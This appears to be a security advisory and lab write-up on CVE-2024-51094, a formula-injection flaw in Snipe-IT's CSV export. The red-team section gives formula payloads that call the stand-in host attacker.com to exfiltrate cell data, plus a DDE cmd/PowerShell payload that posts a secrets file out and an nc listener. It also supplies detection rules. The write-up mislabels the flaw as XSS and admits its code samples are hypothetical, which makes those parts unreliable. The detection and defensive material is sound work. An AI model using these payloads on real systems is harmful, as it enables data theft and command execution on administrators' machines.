CVE-2024-51094

Executive Summary

CVE-2024-51094 is a stored Cross-Site Scripting (XSS) vulnerability discovered in Snipe-IT, an open-source asset management system, version 7.0.13 build 15514. A low-privileged authenticated attacker can inject a malicious JavaScript payload into the "Name" field of their profile. This payload is stored on the server and later executed when an administrator exports user data to a CSV file and opens it in a spreadsheet application (e.g., Microsoft Excel, LibreOffice Calc). The attack leverages the fact that spreadsheet applications often interpret cells starting with = as formulas, allowing the attacker to execute arbitrary commands or exfiltrate data to a remote server. This vulnerability poses a significant risk to organizations using Snipe-IT, as it can lead to data exfiltration and potential lateral movement within the network.

Supply Chain & Package Security

Snipe-IT is a PHP-based application built on the Laravel framework. The vulnerability is not in a third-party package but in the application's own input validation logic. However, the attack vector relies on the behavior of spreadsheet software, which is a supply chain dependency. Organizations should ensure their spreadsheet applications are configured to disable automatic formula execution from untrusted sources.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) - The attacker can trigger the vulnerability remotely.
• Attack Complexity (AC): Low (L) - No special conditions are required.
• Privileges Required (PR): Low (L) - The attacker needs a valid low-privileged account.
• User Interaction (UI): Required (R) - The administrator must open the exported CSV file.
• Scope (S): Changed (C) - The impact is on the administrator's system, not the web application itself.
• Confidentiality (C): Low (L) - Limited data exfiltration is possible.
• Integrity (I): Low (L) - The attacker can modify data on the administrator's system.
• Availability (A): None (N) - No impact on availability.

Threat Level: Medium. The attack requires user interaction (admin opening a CSV) and low privileges, but the potential for data exfiltration and command execution makes it a serious concern.

Deep Dive & Mechanics

The vulnerability exists in the user profile update functionality. When a user modifies their "Name" field, the application does not properly sanitize or validate the input. An attacker can inject a payload like =cmd|' /C calc'!A0 (for Windows) or =HYPERLINK("http://attacker.com/?data="&A1,"Click") (for data exfiltration).

The attack flow is as follows:

1. Injection: The attacker logs in with a low-privileged account and navigates to their profile settings. They change their "Name" to a malicious payload, e.g., =HYPERLINK(CONCATENATE("http://attacker.com/exfil?data=",A1),"Click").
2. Storage: The payload is stored in the database without sanitization.
3. Export: An administrator navigates to the "People Management" page and exports the user list as a CSV file.
4. Execution: The administrator opens the CSV file in a spreadsheet application. The application interprets the cell starting with = as a formula and executes it. This can trigger a web request to the attacker's server, exfiltrating data from other cells in the CSV (e.g., email addresses, asset tags).

Vulnerable vs. Patched Code

Vulnerable Code (Snipe-IT v7.0.13): The vulnerability is in the UserController or similar profile update logic. The input is not sanitized for CSV injection payloads.

// Vulnerable: No sanitization
public function updateProfile(Request $request) {
    $user = Auth::user();
    $user->name = $request->input('name');
    $user->save();
    return redirect()->back()->with('success', 'Profile updated.');
}

Patched Code (Hypothetical): The fix should sanitize the input to remove or escape characters that could be interpreted as formulas in CSV files.

// Patched: Sanitize input
public function updateProfile(Request $request) {
    $user = Auth::user();
    $name = $request->input('name');
    // Remove leading =, +, -, @ characters
    $name = preg_replace('/^[=+\-@]/', '', $name);
    $user->name = $name;
    $user->save();
    return redirect()->back()->with('success', 'Profile updated.');
}

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Install Snipe-IT v7.0.13 build 15514 on a local server (e.g., using Docker: docker run -d -p 80:80 snipe/snipe-it:7.0.13).
2. Create a low-privileged user account (e.g., attacker).
3. Set up a listener on an attacker-controlled server to capture exfiltrated data (e.g., nc -lvnp 80).

Exploitation Steps:

1. Log in as the low-privileged user.
2. Navigate to /profile and update the "Name" field with the following payload:

   =HYPERLINK(CONCATENATE("http://attacker.com/exfil?data=",A1),"Click")
   

3. Save the profile.
4. Wait for an administrator to export the user list as CSV and open it.
5. The administrator's spreadsheet will attempt to fetch the URL, sending the contents of cell A1 (e.g., an email address) to the attacker's server.

Advanced Payload (Windows Command Execution):

=cmd|' /C powershell -Command "Invoke-WebRequest -Uri http://attacker.com/exfil -Method POST -Body (Get-Content C:\Users\Admin\Documents\secrets.txt)"'!A0

Blue Team

Detection:

1. Monitor for unusual profile update requests containing =, +, -, or @ at the beginning of the "Name" field.
2. Alert on CSV files being opened by administrators, especially if they contain formulas.
3. Use endpoint detection and response (EDR) to monitor for spreadsheet applications making outbound network connections.

Prevention:

1. Implement input validation to strip leading formula characters from user profile fields.
2. Configure spreadsheet applications to disable automatic formula execution (e.g., in Excel: File > Options > Trust Center > Trust Center Settings > External Content > Disable all).
3. Educate administrators to open CSV files in a text editor first or use a safe mode in spreadsheet applications.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP/HTTPS requests from a spreadsheet application (e.g., EXCEL.EXE, soffice.bin) to an external IP address or domain.
• File: CSV files containing cells that start with =, +, -, or @.
• Logs: Snipe-IT access logs showing profile update requests with suspicious payloads in the name parameter.
• Endpoint: Presence of cmd.exe or powershell.exe processes spawned by a spreadsheet application.

Detection Engineering

YARA Rule

rule CVE_2024_51094_CSV_Injection {
    meta:
        description = "Detects CSV injection payloads in Snipe-IT profile names"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-51094"
    strings:
        $payload1 = /^[=+\-@]/
        $payload2 = "HYPERLINK"
        $payload3 = "cmd|"
        $payload4 = "powershell"
    condition:
        any of ($payload*) and filesize < 10KB
}

Sigma Rule

title: Snipe-IT CSV Injection Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to inject CSV formulas into Snipe-IT profile names
author: Valters IT
date: 2024/10/27
logsource:
    category: application
    product: snipe-it
detection:
    selection:
        event: profile_update
        name|startswith:
            - '='
            - '+'
            - '-'
            - '@'
    condition: selection
falsepositives:
    - Legitimate names starting with these characters (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-51094 Snipe-IT CSV Injection Exfiltration"; flow:to_server,established; content:"GET"; http_method; content:"/exfil"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable the ability for users to edit their own "Name" field until a patch is available. This can be done by modifying the application code or using a reverse proxy to block requests to /profile with suspicious payloads.
2. Input Validation: Implement server-side validation to strip leading =, +, -, and @ characters from all user input fields.
3. CSV Export Sanitization: Modify the CSV export functionality to prepend a single quote (') to all cells, preventing formula interpretation.
4. User Education: Train administrators to open CSV files in a text editor or use the "Text Import" wizard in spreadsheet applications to prevent automatic formula execution.
5. Monitor: Implement the detection rules provided above to identify and respond to exploitation attempts.

Valters IT - DevSecOps & Cyber Threat Intelligence Expert